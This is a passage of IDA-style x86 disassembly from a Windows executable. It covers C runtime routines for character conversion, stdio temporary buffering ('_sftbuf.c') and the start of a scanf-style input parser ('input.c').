loc_429AE2:				; CODE XREF: sub_429AC0+11j
					; sub_429AC0+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_429B4F
; ---------------------------------------------------------------------------

loc_429AE7:				; CODE XREF: sub_429AC0+Bj
		push	offset dword_4F3888
		call	dword_4F5488	; InterlockedIncrement
		cmp	dword_4F3884, 0
		jz	short loc_429B19
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement
		push	13h
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_429B20
; ---------------------------------------------------------------------------

loc_429B19:				; CODE XREF: sub_429AC0+39j
		mov	[ebp+var_4], 0

loc_429B20:				; CODE XREF: sub_429AC0+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429B60
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_429B41
		push	13h
		call	sub_423320
		add	esp, 4
		jmp	short loc_429B4C
; ---------------------------------------------------------------------------

loc_429B41:				; CODE XREF: sub_429AC0+73j
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement

loc_429B4C:				; CODE XREF: sub_429AC0+7Fj
		mov	eax, [ebp+arg_0]

loc_429B4F:				; CODE XREF: sub_429AC0+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_429AC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429B60	proc near		; CODE XREF: sub_429AC0+64p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4F34B8, 0
		jnz	short loc_429B8C
		cmp	[ebp+arg_0], 61h
		jl	short loc_429B84
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_429B84
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax

loc_429B84:				; CODE XREF: sub_429B60+13j
					; sub_429B60+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_429C87
; ---------------------------------------------------------------------------

loc_429B8C:				; CODE XREF: sub_429B60+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_429BD3
		cmp	dword_453EB0, 1
		jle	short loc_429BB1
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_429BC5
; ---------------------------------------------------------------------------

loc_429BB1:				; CODE XREF: sub_429B60+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 2
		mov	[ebp+var_10], ecx

loc_429BC5:				; CODE XREF: sub_429B60+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_429BD3
		mov	eax, [ebp+arg_0]
		jmp	loc_429C87
; ---------------------------------------------------------------------------

loc_429BD3:				; CODE XREF: sub_429B60+33j
					; sub_429B60+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_429C1C
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_429C2D
; ---------------------------------------------------------------------------

loc_429C1C:				; CODE XREF: sub_429B60+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1

loc_429C2D:				; CODE XREF: sub_429B60+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	200h
		mov	edx, dword_4F34B8
		push	edx
		call	sub_42EC50
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_429C61
		mov	eax, [ebp+arg_0]
		jmp	short loc_429C87
; ---------------------------------------------------------------------------

loc_429C61:				; CODE XREF: sub_429B60+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_429C71
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_429C87
; ---------------------------------------------------------------------------

loc_429C71:				; CODE XREF: sub_429B60+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx

loc_429C87:				; CODE XREF: sub_429B60+27j
					; sub_429B60+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_429B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429C90	proc near		; CODE XREF: sub_41F4E0+79p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi

loc_429C99:				; CODE XREF: sub_429C90+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_429CBD
		push	offset dword_43C514
		push	0
		push	41h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_429CBD
		int	3		; Trap to Debugger

loc_429CBD:				; CODE XREF: sub_429C90+Dj
					; sub_429C90+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_429C99
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		call	sub_431A40
		add	esp, 4
		test	eax, eax
		jnz	short loc_429CE3
		xor	eax, eax
		jmp	loc_429DE0
; ---------------------------------------------------------------------------

loc_429CE3:				; CODE XREF: sub_429C90+4Aj
		cmp	[ebp+var_4], offset dword_451928
		jnz	short loc_429CF5
		mov	[ebp+var_8], 0
		jmp	short loc_429D0E
; ---------------------------------------------------------------------------

loc_429CF5:				; CODE XREF: sub_429C90+5Aj
		cmp	[ebp+var_4], offset dword_451948
		jnz	short loc_429D07
		mov	[ebp+var_8], 1
		jmp	short loc_429D0E
; ---------------------------------------------------------------------------

loc_429D07:				; CODE XREF: sub_429C90+6Cj
		xor	eax, eax
		jmp	loc_429DE0
; ---------------------------------------------------------------------------

loc_429D0E:				; CODE XREF: sub_429C90+63j
					; sub_429C90+75j
		mov	ecx, dword_4F342C
		add	ecx, 1
		mov	dword_4F342C, ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jz	short loc_429D33
		xor	eax, eax
		jmp	loc_429DE0
; ---------------------------------------------------------------------------

loc_429D33:				; CODE XREF: sub_429C90+9Aj
		mov	ecx, [ebp+var_8]
		cmp	dword_4F34A8[ecx*4], 0
		jnz	short loc_429D9A
		push	5Eh
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		push	1000h
		call	sub_41BE70
		add	esp, 10h
		mov	edx, [ebp+var_8]
		mov	dword_4F34A8[edx*4], eax
		mov	eax, [ebp+var_8]
		cmp	dword_4F34A8[eax*4], 0
		jnz	short loc_429D9A
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 2
		jmp	short loc_429DC9
; ---------------------------------------------------------------------------

loc_429D9A:				; CODE XREF: sub_429C90+AEj
					; sub_429C90+DBj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4F34A8[eax*4]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 1000h

loc_429DC9:				; CODE XREF: sub_429C90+108j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 1102h
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	eax, 1

loc_429DE0:				; CODE XREF: sub_429C90+4Ej
					; sub_429C90+79j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_429C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429DF0	proc near		; CODE XREF: sub_41F4E0+A3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi

loc_429DF7:				; CODE XREF: sub_429DF0+38j
		cmp	[ebp+arg_0], 0
		jz	short loc_429E24
		cmp	[ebp+arg_0], 1
		jz	short loc_429E24
		push	offset aFlag0Flag1 ; "flag == 0	|| flag	== 1"
		push	0
		push	0A1h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_429E24
		int	3		; Trap to Debugger

loc_429E24:				; CODE XREF: sub_429DF0+Bj
					; sub_429DF0+11j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_429DF7
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_429E7D
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_429E7D
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_422F20
		add	esp, 4
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	ah, 0EEh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0

loc_429E7D:				; CODE XREF: sub_429DF0+44j
					; sub_429DF0+53j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_429DF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E90	proc near		; CODE XREF: sub_41FF30+A2p

var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= byte ptr -1F0h
var_1EF		= byte ptr -1EFh
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= byte ptr -1D0h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_55		= byte ptr -55h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 224h
		push	ebx
		push	esi
		push	edi

loc_429E9C:				; CODE XREF: sub_429E90+37j
		cmp	[ebp+arg_4], 0
		jnz	short loc_429EC3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	109h
		push	offset aInput_c	; "input.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_429EC3
		int	3		; Trap to Debugger

loc_429EC3:				; CODE XREF: sub_429E90+10j
					; sub_429E90+30j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_429E9C

loc_429EC9:				; CODE XREF: sub_429E90+64j
		cmp	[ebp+arg_0], 0
		jnz	short loc_429EF0
		push	offset dword_43C504
		push	0
		push	10Ch
		push	offset aInput_c	; "input.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_429EF0
		int	3		; Trap to Debugger

loc_429EF0:				; CODE XREF: sub_429E90+3Dj
					; sub_429E90+5Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_429EC9
		mov	[ebp+var_28], 0
		movsx	edx, [ebp+var_28]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		mov	[ebp+var_34], eax

loc_429F07:				; CODE XREF: sub_429E90:loc_42B175j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	loc_42B17A
		cmp	dword_453EB0, 1
		jle	short loc_429F39
		push	8
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_1F8], eax
		jmp	short loc_429F55
; ---------------------------------------------------------------------------

loc_429F39:				; CODE XREF: sub_429E90+8Dj
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_1F8], edx

loc_429F55:				; CODE XREF: sub_429E90+A7j
		cmp	[ebp+var_1F8], 0
		jz	short loc_429FA3
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42B350
		add	esp, 8
		push	eax
		call	sub_42B330
		add	esp, 8

loc_429F84:				; CODE XREF: sub_429E90+111j
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_421940
		add	esp, 4
		test	eax, eax
		jz	short loc_429FA3
		jmp	short loc_429F84
; ---------------------------------------------------------------------------

loc_429FA3:				; CODE XREF: sub_429E90+CCj
					; sub_429E90+10Fj
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	loc_42B05E
		mov	[ebp+var_40], 0
		mov	byte ptr [ebp+var_8], 0
		mov	[ebp+var_6C], 0
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_1E8], eax
		mov	ecx, [ebp+var_1E8]
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_10], 0
		mov	dl, [ebp+var_10]
		mov	[ebp+var_68], dl
		mov	al, [ebp+var_68]
		mov	[ebp+var_70], al
		mov	cl, [ebp+var_70]
		mov	[ebp+var_18], cl
		mov	dl, [ebp+var_18]
		mov	[ebp+var_64], dl
		mov	[ebp+var_14], 0
		mov	[ebp+var_38], 1
		mov	[ebp+var_1DC], 0

loc_42A005:				; CODE XREF: sub_429E90:loc_42A15Dj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_42A162
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_C], eax
		cmp	dword_453EB0, 1
		jle	short loc_42A049
		push	4
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_1FC], eax
		jmp	short loc_42A066
; ---------------------------------------------------------------------------

loc_42A049:				; CODE XREF: sub_429E90+19Bj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_1FC], ecx

loc_42A066:				; CODE XREF: sub_429E90+1B7j
		cmp	[ebp+var_1FC], 0
		jz	short loc_42A096
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		lea	edx, [ecx+eax*4]
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+edx*2-30h]
		mov	[ebp+var_1C], ecx
		jmp	loc_42A15D
; ---------------------------------------------------------------------------

loc_42A096:				; CODE XREF: sub_429E90+1DDj
		mov	edx, [ebp+var_C]
		mov	[ebp+var_200], edx
		mov	eax, [ebp+var_200]
		sub	eax, 2Ah
		mov	[ebp+var_200], eax
		cmp	[ebp+var_200], 4Dh
		ja	loc_42A155
		mov	edx, [ebp+var_200]
		xor	ecx, ecx
		mov	cl, byte_42B1D8[edx]
		jmp	off_42B1B8[ecx*4]

loc_42A0D0:				; DATA XREF: .packed:0042B1BCo
		jmp	loc_42A15D
; ---------------------------------------------------------------------------

loc_42A0D5:				; CODE XREF: sub_429E90+239j
					; DATA XREF: .packed:0042B1C8o
		mov	al, [ebp+var_38]
		sub	al, 1
		mov	[ebp+var_38], al
		mov	cl, [ebp+var_14]
		sub	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_42A15D
; ---------------------------------------------------------------------------

loc_42A0E8:				; CODE XREF: sub_429E90+239j
					; DATA XREF: .packed:0042B1C0o
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	eax, 36h
		jnz	short loc_42A12A
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+2]
		cmp	edx, 34h
		jnz	short loc_42A12A
		mov	eax, [ebp+arg_4]
		add	eax, 2
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+var_1DC]
		add	ecx, 1
		mov	[ebp+var_1DC], ecx
		mov	[ebp+var_30], 0
		mov	[ebp+var_2C], 0
		jmp	short loc_42A15D
; ---------------------------------------------------------------------------

loc_42A12A:				; CODE XREF: sub_429E90+263j
					; sub_429E90+270j
		jmp	short loc_42A155
; ---------------------------------------------------------------------------

loc_42A12C:				; CODE XREF: sub_429E90+239j
					; DATA XREF: .packed:0042B1C4o
		mov	dl, [ebp+var_38]
		add	dl, 1
		mov	[ebp+var_38], dl
		jmp	short loc_42A15D
; ---------------------------------------------------------------------------

loc_42A137:				; CODE XREF: sub_429E90+239j
					; DATA XREF: .packed:0042B1CCo
		mov	al, [ebp+var_38]
		add	al, 1
		mov	[ebp+var_38], al

loc_42A13F:				; CODE XREF: sub_429E90+239j
					; DATA XREF: .packed:0042B1D0o
		mov	cl, [ebp+var_14]
		add	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_42A15D
; ---------------------------------------------------------------------------

loc_42A14A:				; CODE XREF: sub_429E90+239j
					; DATA XREF: .packed:off_42B1B8o
		mov	dl, [ebp+var_70]
		add	dl, 1
		mov	[ebp+var_70], dl
		jmp	short loc_42A15D
; ---------------------------------------------------------------------------

loc_42A155:				; CODE XREF: sub_429E90+225j
					; sub_429E90+239j ...
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al

loc_42A15D:				; CODE XREF: sub_429E90+201j
					; sub_429E90:loc_42A0D0j ...
		jmp	loc_42A005
; ---------------------------------------------------------------------------

loc_42A162:				; CODE XREF: sub_429E90+17Bj
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_42A185
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1D4], edx
		mov	eax, [ebp+arg_8]
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx-4]
		mov	[ebp+var_3C], edx

loc_42A185:				; CODE XREF: sub_429E90+2D8j
		mov	[ebp+var_18], 0
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_42A1BC
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 53h
		jz	short loc_42A1A9
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	ecx, 43h
		jnz	short loc_42A1B4

loc_42A1A9:				; CODE XREF: sub_429E90+30Bj
		mov	dl, [ebp+var_14]
		add	dl, 1
		mov	[ebp+var_14], dl
		jmp	short loc_42A1BC
; ---------------------------------------------------------------------------

loc_42A1B4:				; CODE XREF: sub_429E90+317j
		mov	al, [ebp+var_14]
		sub	al, 1
		mov	[ebp+var_14], al

loc_42A1BC:				; CODE XREF: sub_429E90+2FFj
					; sub_429E90+322j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		or	edx, 20h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 6Eh
		jz	short loc_42A20E
		cmp	[ebp+var_C], 63h
		jz	short loc_42A1F3
		cmp	[ebp+var_C], 7Bh
		jz	short loc_42A1F3
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		call	sub_42B350
		add	esp, 8
		mov	[ebp+var_1D8], eax
		jmp	short loc_42A20E
; ---------------------------------------------------------------------------

loc_42A1F3:				; CODE XREF: sub_429E90+343j
					; sub_429E90+349j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B2D0
		add	esp, 4
		mov	[ebp+var_1D8], eax

loc_42A20E:				; CODE XREF: sub_429E90+33Dj
					; sub_429E90+361j
		cmp	[ebp+var_1E8], 0
		jz	short loc_42A221
		cmp	[ebp+var_1C], 0
		jz	loc_42B02F

loc_42A221:				; CODE XREF: sub_429E90+385j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_204], ecx
		mov	edx, [ebp+var_204]
		sub	edx, 63h
		mov	[ebp+var_204], edx
		cmp	[ebp+var_204], 18h
		ja	loc_42AFDA
		mov	ecx, [ebp+var_204]
		xor	eax, eax
		mov	al, byte_42B24E[ecx]
		jmp	off_42B226[eax*4]

loc_42A25B:				; DATA XREF: .packed:off_42B226o
		cmp	[ebp+var_1E8], 0
		jnz	short loc_42A27C
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax

loc_42A27C:				; CODE XREF: sub_429E90+3D2j
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_42A28D
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl

loc_42A28D:				; CODE XREF: sub_429E90+3F2j
		mov	[ebp+var_1E0], offset dword_454130
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_42A310
; ---------------------------------------------------------------------------

loc_42A2A1:				; CODE XREF: sub_429E90+3C4j
					; DATA XREF: .packed:0042B23Eo
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_42A2B2
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl

loc_42A2B2:				; CODE XREF: sub_429E90+417j
		mov	[ebp+var_1E0], offset dword_454128
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_42A310
; ---------------------------------------------------------------------------

loc_42A2C6:				; CODE XREF: sub_429E90+3C4j
					; DATA XREF: .packed:0042B246o
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_42A2D7
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl

loc_42A2D7:				; CODE XREF: sub_429E90+43Cj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Eh
		jnz	short loc_42A310
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	dl, [ebp+var_10]
		sub	dl, 1
		mov	[ebp+var_10], dl

loc_42A310:				; CODE XREF: sub_429E90+40Fj
					; sub_429E90+434j ...
		push	20h
		push	0
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_42A34C
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jnz	short loc_42A34C
		mov	byte ptr [ebp+var_8], 5Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		mov	[ebp+var_55], 20h

loc_42A34C:				; CODE XREF: sub_429E90+494j
					; sub_429E90+4A3j ...
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jz	loc_42A4B7
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		cmp	eax, 2Dh
		jnz	short loc_42A3A8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_42A3A8
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Dh
		jnz	short loc_42A3EE

loc_42A3A8:				; CODE XREF: sub_429E90+4FAj
					; sub_429E90+507j
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_60]
		or	cl, al
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	[ebp+edx+var_60], cl
		jmp	loc_42A4B2
; ---------------------------------------------------------------------------

loc_42A3EE:				; CODE XREF: sub_429E90+516j
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		cmp	eax, ecx
		jge	short loc_42A42E
		mov	dl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_24], dl
		jmp	short loc_42A43D
; ---------------------------------------------------------------------------

loc_42A42E:				; CODE XREF: sub_429E90+591j
		mov	al, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_24], al
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl

loc_42A43D:				; CODE XREF: sub_429E90+59Cj
		mov	dl, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_1EC],	dl
		jmp	short loc_42A456
; ---------------------------------------------------------------------------

loc_42A448:				; CODE XREF: sub_429E90+61Cj
		mov	al, byte ptr [ebp+var_1EC]
		add	al, 1
		mov	byte ptr [ebp+var_1EC],	al

loc_42A456:				; CODE XREF: sub_429E90+5B6j
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		mov	edx, [ebp+var_24]
		and	edx, 0FFh
		cmp	ecx, edx
		jg	short loc_42A4AE
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		sar	eax, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		mov	al, [ebp+eax+var_60]
		or	al, dl
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		sar	ecx, 3
		mov	[ebp+ecx+var_60], al
		jmp	short loc_42A448
; ---------------------------------------------------------------------------

loc_42A4AE:				; CODE XREF: sub_429E90+5DDj
		mov	byte ptr [ebp+var_8], 0

loc_42A4B2:				; CODE XREF: sub_429E90+559j
		jmp	loc_42A34C
; ---------------------------------------------------------------------------

loc_42A4B7:				; CODE XREF: sub_429E90+4C9j
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jnz	short loc_42A4CA
		jmp	loc_42B17A
; ---------------------------------------------------------------------------

loc_42A4CA:				; CODE XREF: sub_429E90+633j
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_42A4D9
		mov	ecx, [ebp+var_1E0]
		mov	[ebp+arg_4], ecx

loc_42A4D9:				; CODE XREF: sub_429E90+63Ej
		mov	edx, [ebp+var_3C]
		mov	[ebp+var_1E4], edx
